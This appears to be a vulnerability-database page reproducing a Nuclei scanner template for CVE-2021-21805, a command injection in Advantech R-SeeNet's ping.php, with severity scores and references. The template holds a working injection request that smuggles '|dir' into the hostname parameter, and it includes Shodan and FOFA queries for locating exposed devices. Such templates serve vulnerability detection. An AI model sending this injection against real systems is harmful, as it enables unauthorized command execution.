Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-21805
HistoryAug 05, 2022 - 5:57 a.m.

Advantech R-SeeNet 2.4.12 - OS Command Injection

2022-08-0505:57:31
ProjectDiscovery
github.com
13

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.971 High

EPSS

Percentile

99.8%

Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
id: CVE-2021-21805

info:
  name: Advantech R-SeeNet 2.4.12 - OS Command Injection
  author: arafatansari
  severity: critical
  description: |
    Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21805
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-21805
    cwe-id: CWE-78
    epss-score: 0.97374
    epss-percentile: 0.99895
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query:
      - http.html:"R-SeeNet"
      - http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,rce,r-seenet,advantech

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/ping.php?hostname=|dir"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Ping |dir</title>"
          - "bottom.php"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f0b6d69003ca5b5505cd8a66ec57f71a8115dcd56caf54bdb39ac3a9cc6cef3f022100b79c69e7a4c280e5bb0820f9872a8a7db6c0b917e7aca6fdf625f52df255648c:922c64590222798bb761d5b6d8e72950

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.971 High

EPSS

Percentile

99.8%